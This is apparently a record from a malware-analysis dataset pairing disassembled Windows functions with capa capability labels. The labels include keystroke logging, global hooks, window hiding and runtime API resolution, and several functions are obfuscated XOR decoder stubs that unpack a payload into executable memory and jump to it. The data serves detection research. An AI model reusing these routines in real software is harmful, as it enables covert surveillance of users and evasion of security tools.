joyce8/EMBER2024-capa huggingface dataset:
Function at 0x444398
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45e20c]
cmp byte [eax + 0xc], 0
je 0x444505
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4444fe
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45fb28], 0
jne 0x4443ec
push 0x44450c
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x444514
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb28], eax
cmp dword [0x45dbf4], 0
jne 0x4444e7
push 0x444524
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45dbf4], eax
cmp dword [0x45dbf4], 0
je 0x4444e7
push 0x444530
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb2c], eax
push 0x444540
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb30], eax
push 0x444554
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb34], eax
push 0x44456c
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb38], eax
push 0x444584
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb3c], eax
push 0x444598
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb40], eax
push 0x4445b0
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb44], eax
push 0x4445c8
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb48], eax
push 0x4445e4
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb4c], eax
push 0x4445f0
mov eax, dword [0x45dbf4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb50], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444505
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x4483d4
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004042bc
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x448423
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040452c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44fc18
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44fc68]
test si, 4
je 0x44fc2c
or bl, 1
test si, 8
je 0x44fc36
or bl, 4
test si, 1
je 0x44fc40
or bl, 8
test si, 2
je 0x44fc4a
or bl, 0x10
test si, 0x10
je 0x44fc54
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44fc63
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44fc6c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44fca4]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44fc85
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44fc94
or bl, 4
test esi, 0x20000000
je 0x44fc9f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x456368
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x45637a
add esp, 0xfffffff0
call fcn.004037e4
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a560
mov eax, dword [0x45deec]
mov dword [eax + 4], ebx
mov dword [eax], 0x45670c
mov eax, dword [0x45def8]
mov dword [eax + 4], ebx
mov dword [eax], 0x456718
mov eax, ebx
call fcn.00456724
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x4121e8]
call fcn.0040347c
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x4121e8]
call fcn.0040347c
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x4121e8]
call fcn.0040347c
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x4121e8]
call fcn.0040347c
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x4121e8]
call fcn.0040347c
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x452b3c
push eax
push 0
push 0
mov eax, dword [0x45e030]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41bfc8]
call fcn.0041d760
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41bfc8]
call fcn.0041d760
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41bfc8]
call fcn.0041d760
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00456b74
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a3c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a3c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x456a3c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4564b7
call fcn.0040383c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x456820
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4569cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4569ac
mov dl, 1
mov eax, dword [0x412604]
call fcn.0040347c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004042bc
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x45699b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004446f8
test al, al
je 0x45698e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x4569dc
lea eax, [ebp - 0x254]
call fcn.00409404
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x45698e
xor eax, eax
push ebp
push 0x456987
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x456a14
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x456970
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040452c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x456970
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040452c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45698e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x456891
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004161c4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4569d2
lea eax, [ebp - 0x260]
call fcn.004042bc
ret

Function at 0x457314
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45fb74]
cmp byte [eax + 0xa5], 0
jne 0x457385
cmp dword [0x45fb8c], 0
jne 0x457346
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4572d0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45fb8c], eax
cmp dword [0x45fb88], 0
jne 0x457361
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45fb88], eax
cmp dword [0x45fb90], 0
jne 0x457385
push esp
push 0
push 0
push 0x457274
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x45fb90], eax
pop edx
ret
Function at 0x457a18
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45fb74]
cmp dword [eax + 0x30], 0
je 0x457ac2
cmp dword [ebx + 0x94], 0
jne 0x457abc
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4579a8
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x457abc
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x457a82
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x457abc
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004145c0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x457a91
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x458620
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x458655
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004043ac
jmp 0x458662
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404310
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x459774
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4597b5
mov eax, esi
call fcn.0043fcd4
test al, al
je 0x4597b5
mov eax, dword [ebx + 0x84]
call fcn.0043f9d0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4597b5
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043f9d0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45b570
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov edi, dword [ebp + 8]
mov byte [ebp - 5], 0
push 0
mov eax, dword [ebx + 0x44]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
jne 0x45b5df
mov eax, dword [ebp - 4]
push eax
push edi
mov eax, dword [ebp + 0xc]
push eax
push esi
mov eax, dword [ebx + 0x40]
push eax
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x45b5c1
mov ecx, dword [edi]
mov edx, esi
mov eax, ebx
call fcn.0045b5ec
test al, al
je 0x45b5df
jmp 0x45b587
call sub.kernel32.dll_GetLastError
cmp eax, 0x3e5
jne 0x45b5d3
mov byte [ebp - 5], 1
jmp 0x45b5df
cmp eax, 6
je 0x45b5df
mov eax, ebx
call fcn.0045b868
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 8
Function at 0x45b9bc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov ebx, dword [ebp + 8]
mov byte [ebp - 9], 0
xor eax, eax
mov dword [ebp - 0x10], eax
xor esi, esi
mov eax, dword [edi + 0x44]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 8]
add eax, esi
push eax
mov eax, dword [edi + 0x40]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x45ba78
call sub.kernel32.dll_GetLastError
cmp eax, 6
je 0x45ba8a
cmp eax, 0x3e5
je 0x45ba20
mov eax, edi
call fcn.0045ba98
jmp 0x45ba8a
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x18]
push eax
push 2
call sub.kernel32.dll_WaitForMultipleObjects
sub eax, 0xffffffff
je 0x45ba66
dec eax
je 0x45ba8a
dec eax
je 0x45ba3c
jmp 0x45ba6f
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [edi + 0x40]
push eax
call sub.kernel32.dll_GetOverlappedResult
test eax, eax
jne 0x45ba78
call sub.kernel32.dll_GetLastError
cmp eax, 6
je 0x45ba8a
mov eax, edi
call fcn.0045ba98
jmp 0x45ba8a
mov eax, edi
call fcn.0045ba98
jmp 0x45ba8a
mov eax, edi
call fcn.0045ba98
jmp 0x45ba8a
sub ebx, dword [ebp - 0x10]
add esi, dword [ebp - 0x10]
test ebx, ebx
ja 0x45b9ea
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408d51
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408d8f
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408d96
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
add edx, 0x40c6a8
add eax, ebx
mov dword [esp + 4], str._s_S.dll
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x408f64
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43a424], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
jne 0x408fa1
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408f7e
mov dword [ecx*4 + 0x43a420], eax
inc ecx
cmp ecx, 0x100
jne 0x408f77
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x408fc4
inc edx
mov cl, byte [edx - 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x43a420]
jmp 0x408fab
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x10015450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001545f
pop dword [ebp - 0x10]
mov eax, 0x3019cc35
add eax, 0xdfe7882a
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x112451bc
sub dword [ebp - 0x20], 0xc2d20c71
mov dword [ebp - 0x1c], 0x4e733d6d
sub dword [ebp - 0x1c], 0x1c3ff128
mov dword [ebp - 0x18], 0x592d0c27
add dword [ebp - 0x18], 0xf31f3807
mov dword [ebp - 0x14], 0xe8629a5
add dword [ebp - 0x14], 0xf179d65b
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xbaa37be2
add dword [ebp - 0x20], 0xb9ceed74
mov dword [ebp - 0x1c], 0x77c9c8af
sub dword [ebp - 0x1c], 0x365d673a
mov dword [ebp - 0x18], 0xf54a9ea5
sub dword [ebp - 0x18], 0x91db3239
mov dword [ebp - 0x14], 0xa5a6d845
sub dword [ebp - 0x14], 0xa5a6d845
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x8f574307
add eax, 0x80aa1d5d
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3a4de
push 0
call eax
mov ecx, 0x52db
xor ebx, ebx
add ebx, eax
mov edx, 0x21aa4e81
add edx, 0xee57e77f
add edx, dword [ebp - 0x10]
mov edi, 0xb8edeeef
xor dword [ebp - 4], 0xd8f904e2
mov esi, dword [edx]
xor dword [ebp - 4], 0x50e4e573
add esi, edi
add dword [ebp - 0xc], edx
mov dword [ebx], esi
add ebx, 0x8ef28a0f
sub ebx, 0x8ef28a0b
add edx, 0x64e07c2c
sub edx, 0x64e07c28
loop 0x10015572
add eax, 0xd82a16c8
sub eax, 0xd828d889
mov ebx, eax
add eax, 0x7165cdb3
sub eax, 0x7165cdae
mov ecx, 0xeb0b9fe1
sub ecx, 0xdb0b9fe1
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x442030]
jne 0x401073
repz ret
jmp fcn.00401e41

Function at 0x408aeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d3a
and dword [ebp - 4], 0
cmp dword [0x444b68], 0
mov ebx, eax
jne 0x408b9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408c4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408c4d
push eax
call fcn.00404cc8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x444b68], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x444b6c], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x444b70], eax
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x444b78], eax
test eax, eax
je 0x408b9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x444b74], eax
mov eax, dword [0x444b74]
cmp eax, ebx
je 0x408bf4
cmp dword [0x444b78], ebx
je 0x408bf4
push eax
call fcn.00404d43
push dword [0x444b78]
mov esi, eax
call fcn.00404d43
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408bf4
test edi, edi
je 0x408bf4
call esi
test eax, eax
je 0x408beb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408beb
test byte [ebp - 0xc], 1
jne 0x408bf4
or dword [ebp + 0x10], 0x200000
jmp 0x408c2d
mov eax, dword [0x444b6c]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408c2d
mov eax, dword [0x444b70]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x444b68]
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408c4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40af50
Capabilities:
Set console window title

Disassembly:
sub esp, 0x820
mov eax, dword [0x442030]
xor eax, esp
mov dword [esp + 0x81c], eax
mov eax, dword [0x841c3c]
push ebx
mov ebx, dword [0x841960]
push esi
mov esi, dword [0x442f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40af91
push str.zolihetujejijitewi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x841c3c]
mov dword [0x444d0c], esi
cmp eax, 0x114e
jne 0x40afbb
lea eax, [esp + 0xc]
push eax
push str.Gijetuhe_batawuwafadis_fomikayemes_zeruru
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x841c3c]
cmp eax, 0x2f
jne 0x40afdb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
call fcn.0040ae50
mov ecx, dword [esp + 0x828]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401069
add esp, 0x820
ret
Function at 0x32028f39
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x32028f48
pop dword [ebp - 0x1c]
mov eax, 0x6831d517
sub eax, 0x362f45cf
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x41baeecb
sub dword [ebp - 0x2c], 0xf368a980
mov dword [ebp - 0x28], 0x67394e82
add dword [ebp - 0x28], 0xcaf9fdc3
mov dword [ebp - 0x24], 0xa86c3125
add dword [ebp - 0x24], 0xa3e01309
mov dword [ebp - 0x20], 0x9100b581
sub dword [ebp - 0x20], 0x9100b581
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xd607135d
add dword [ebp - 0x2c], 0x9e6b55f9
mov dword [ebp - 0x28], 0xc97d6d6d
sub dword [ebp - 0x28], 0x88110bf8
mov dword [ebp - 0x24], 0x631a1430
add dword [ebp - 0x24], 0x55583c
mov dword [ebp - 0x20], 0x4fb87902
add dword [ebp - 0x20], 0xb04786fe
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x3dd5475
sub eax, 0xd1d823f9
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x4c767
push 0
call eax
mov ecx, 0xdb14f420
add ecx, 0x24eb67a5
mov edx, eax
mov edi, 0x3207a200
add edi, dword [ebp - 0x1c]
mov esi, 0x4db3a558
add esi, 0x6e2e457a
sub dword [ebp - 0x14], 0x95855209
mov ebx, dword [edi]
xor dword [ebp - 0x18], 0x50e988a7
sub ebx, esi
xor dword [ebp - 0x14], 0x436098c3
mov dword [edx], ebx
add dword [ebp - 0x10], eax
add edx, 0x70eafb34
sub edx, 0x70eafb30
add edi, 4
loop 0x3202905f
add eax, 0x161e7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7e6e57b9
add ecx, 0xb391a847
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40ad00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40ad0f
pop dword [ebp - 8]
mov eax, 0x228d455a
sub eax, 0x224c984b
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x39f458a
add dword [ebp - 0x18], 0x4ab2ffc1
mov dword [ebp - 0x14], 0x14705bb8
add dword [ebp - 0x14], 0x1dc2f08d
mov dword [ebp - 0x10], 0x13276da8
sub dword [ebp - 0x10], 0xc6db297a
mov dword [ebp - 0xc], 0x5b6bf04b
add dword [ebp - 0xc], 0xa4940fb5
lea eax, [ebp - 0x18]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x736d3af9
add dword [ebp - 0x18], 0x1052e5d
mov dword [ebp - 0x14], 0xc5a0d9a6
sub dword [ebp - 0x14], 0x84347831
mov dword [ebp - 0x10], 0xf483ef74
sub dword [ebp - 0x10], 0x91148308
mov dword [ebp - 0xc], 0x3c7b2f1a
sub dword [ebp - 0xc], 0x3c7b2f1a
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3bd6f
push 0
call eax
mov ecx, 0xc89aad1e
sub ecx, 0xc89a61c8
xor edx, edx
add edx, eax
mov edi, 0x61fdad6d
add edi, 0x9e44f893
add edi, dword [ebp - 8]
mov esi, 0x890162f1
sub esi, 0x2964156e
xor dword [ebp - 4], edi
mov ebx, dword [edi]
mov dword [ebp - 4], 0x405297eb
add ebx, esi
xor dword [ebp - 4], eax
mov dword [edx], ebx
mov dword [ebp - 4], 0xd8e24bbd
add edx, 0xb6e11f74
add edx, 0x491ee090
add edi, 0x649dbd6b
add edi, 0x9b624299
loop 0x40ae29
add eax, 0x63dc2684
sub eax, 0x63db0659
xor ebx, ebx
add ebx, eax
add eax, 0x28226fe7
sub eax, 0x28226fe2
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret